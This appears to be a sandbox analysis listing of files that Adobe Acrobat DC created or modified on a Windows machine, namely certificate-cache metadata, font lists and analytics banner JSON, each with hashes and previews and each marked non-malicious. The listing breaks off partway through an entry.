Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7091457279625986
Encrypted:	false
SSDEEP:	3:kkFkluhW/ltfllXlE/HT8klLNNX8RolJuRdxLlGB9lQRYwpDdt:kK3hyeT8s5NMa8RdWBwRd
MD5:	013BE9E54D68485BC917B7CB4583729D
SHA1:	65CEDCE4F98DA059BA087DB1FBE8CC5490024939
SHA-256:	9AB57E533DC5AA494CA0FAE260764810DBE2DD7888BA80AECCA69C3CE5DE3BF1
SHA-512:	2C6EF45EBF5D053A9B1699DC2B64EC1B8EDEE4AEFC265EBBBDAA23F2C789B32412302ACBA7FB73EAA51E2B77F7E74FCBCC1D9DB5BC2AE5209236E6BA29774C12
Malicious:	false
Preview:	p...... ..........U..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1307801111573577
Encrypted:	false
SSDEEP:	6:kK/i/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3i/iDnLNkPlE99SNxAhUe/3
MD5:	330CB3866EE4F2ED7379B133B6C39CED
SHA1:	A1D528018CB74D1F7229D7A1C775724D26F59AAD
SHA-256:	51F7D547FAF844A5970C2F685D499EAE1883E78026BB5433AC0F737556AD5D9D
SHA-512:	B30A67A1F24F36DA465583BE69532F11697DB11C65E31031FA28E67E2A60A91C2CC818853655012B1514A5D0780A2A94B7AC113EA2D37B067AB74915266AB114
Malicious:	false
Preview:	p...... ..........".c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3394063188294485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJM3g98kUwPeUkwRe9:YvXKXwUvJSOUYpW73TEVGMbLUkee9
MD5:	4F88B72F5BB04EE672B76D2EA913492B
SHA1:	6A3525003E11859C966714E6F03D338D2D92BF54
SHA-256:	E64FDC2098C766266C936E70AD9E67E44CA53274B7EC6D30868EBDEE9E1440E4
SHA-512:	8DEF31509CE69319DE7F45FBAEAADDF15D34B4CF748DDEA3191F58CE0C69F363BDFDCDDDF94A2FBD6F6C304F11F4BABDC64859855F284F417AA82E791052BCB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280136598272888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfBoTfXpnrPeUkwRe9:YvXKXwUvJSOUYpW73TEVGWTfXcUkee9
MD5:	6DC26384DAFC7D670CF7DBB1625DC90E
SHA1:	E201FED546C34FCA8E02C00B59826AE7DA6EDF77
SHA-256:	64074089B7164ECDA28859D868522F1E18837536B69D0938E578C15ADF3F6291
SHA-512:	A8921E9886AB5CF36D8470E0F043C6E627BC3778A3928623354A3592D0CC01331C4957662C3205745564737300528359780697FD449F2D280858ABD38DBE03CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.257301952118068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXwUvJSOUYpW73TEVGR22cUkee9
MD5:	866FEBB501FCD562E362E8CDA016C003
SHA1:	705608C8664CBC7280720D7F52A16268854516FE
SHA-256:	8F472E624EA42D35609604510EC881C1DE0C3CB036FC877521DC159D933BAC3C
SHA-512:	65E279269C4CC86D5882AD08EB7BE85B5F7806C74242C2FAA0524D0DA3A71E0348B5162F2660A2671A44A1B7FDA85F1123D101B55477FA2CFB6010E2C36440BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.317458597624166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfPmwrPeUkwRe9:YvXKXwUvJSOUYpW73TEVGH56Ukee9
MD5:	3A70F6003146F5D885E2C6EC546C268A
SHA1:	63C0DEC4E85F1CBCF928FB0F19A3140B89AFF48A
SHA-256:	EA91294D9CB7EAC72021F7600181E1218B4370CFA35D5406CDE52E140826E5EF
SHA-512:	0D55D17361BAC23601ACE29FB6188983EB8200010D67E426772C1A5AE535AEB538230F53E713A3598D2477DA6BAE059B0F32794B57349C1A2336E69F778B0190
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69424844737719
Encrypted:	false
SSDEEP:	24:Yv6XXvJS6ijJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvUSVjJhgy6SAFv5Ah8cv/Q
MD5:	A93BB69E8E18350E80382A1987076CAC
SHA1:	FED575B5E70A67FECC754BEE2283602F14274F8F
SHA-256:	03A50851F6EBD6DC9B27F1F98BE33BF589982C0B4E2F9C79D213318DC310068B
SHA-512:	C803AE2EA51B2F73BAFC34E80C1B159F8915718394FD65A97513111DBCE4E1D137A034CA922DBF52C5537A14C7DB5051BDAAC883DA63A7E8ABB7E9E79DC48274
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264900883613427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJf8dPeUkwRe9:YvXKXwUvJSOUYpW73TEVGU8Ukee9
MD5:	2EB463394149D696CF239D91F40E08B9
SHA1:	AF87F9CBDE2EA2F8A90C14091E84381F5063CBE7
SHA-256:	DAEC17AFD073117C8F9441229D6B8C1D2A3B1BF91B0445254C1BFDB27710D0F2
SHA-512:	67485F7D594CA7C99952899D6D78D26F67CA45766C1775958247B775979C5FD22D4CDC9030B8BE494413CD4E2C32F1F460B5118DE30E9FCFDA764177F8E63269
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.26652568978686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfQ1rPeUkwRe9:YvXKXwUvJSOUYpW73TEVGY16Ukee9
MD5:	DD01519A00FFFE5566D5AA20D52E6004
SHA1:	9947EE6814F3E5681408248775DC4759EDAB5F64
SHA-256:	5024EC2166ACC79FDEFB5CB24F4E975C4E04B8DA848E470A62EC514734B8C76B
SHA-512:	22B4B329B5F3C120BC8AC7A62C86CE875EE35055A1C557DF165D9551002F581052F947AA2DA9B487E335C68D64BE3D6C133FD799585D95D90E22260D026092F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287294044969109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfFldPeUkwRe9:YvXKXwUvJSOUYpW73TEVGz8Ukee9
MD5:	2AC78388C5B8AB8F341151FF03C5DE4B
SHA1:	2BBADB4863F6E36732B6C6FFD253205E11DEAFB0
SHA-256:	ACB09972DC2A212951761732F24EBFCCCD6580B29A8F2FA9A59159BFA85FE637
SHA-512:	35EDF2BC276E598DE0107FDE7E3283ADA5BEAA0B97E421D1DAEA7DE2DB249319AF44EF0432815386A694F083332EB54FE2C40AF8A16AB3A63074B9743B4BDF81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.294515956151227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfzdPeUkwRe9:YvXKXwUvJSOUYpW73TEVGb8Ukee9
MD5:	2B65597FF09D71F55391C29375818A58
SHA1:	CCAD879867EB6991C6DBA2B8709898A839860401
SHA-256:	939F61B06D6AF6BE58B9C6BD882FA321D06FCD63A0E5D0AB9F3ACBAB422C1D3E
SHA-512:	667BEBD43BA87DEAE14B562825981D7919883DF4C90AA54CEDF0CE097B0A61C49479E18616C363B875465CF40FE88C009641543B3AF7BCECC6DBC35A4BC9AF39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274350012378013
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfYdPeUkwRe9:YvXKXwUvJSOUYpW73TEVGg8Ukee9
MD5:	8640E1E55D08AB9AD79B8C6730C6DD92
SHA1:	2EA3789EACBCF626E680D559CDC415CEEAF18CC2
SHA-256:	B1544B625A971FE9311EA941BDB7201CD8DB0CA6E234FE52F799613D7A5A175C
SHA-512:	09F3690052A9FEE0DE4D14F96B1F54EB558AFE1DBEC7D0136C737B92AB5F19099A55B1D10F3D22273595C8A87F27A9849B589CEB378AF7B0E86D4C4F0130EE03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.259631099378727
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJf+dPeUkwRe9:YvXKXwUvJSOUYpW73TEVG28Ukee9
MD5:	6B468B9BC8D9EA00CDCF3E09EEE00C4A
SHA1:	6C428A5202EE7845621C922F4AFE801B81E79D18
SHA-256:	10D62BE22FC8837F490BB87DE3224FAE1E955F1192ADFEB17BF740D6B11BAAD1
SHA-512:	D0774351078D72C0E7156DB928F20B2B7DAC9783E1C4BABCBFA93E721CDC997E4A373425341AC1E60888B8FF8496A951CBA6453021CB36FBFC6A9EA9CBA108E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.258073398626599
Encrypted:	false
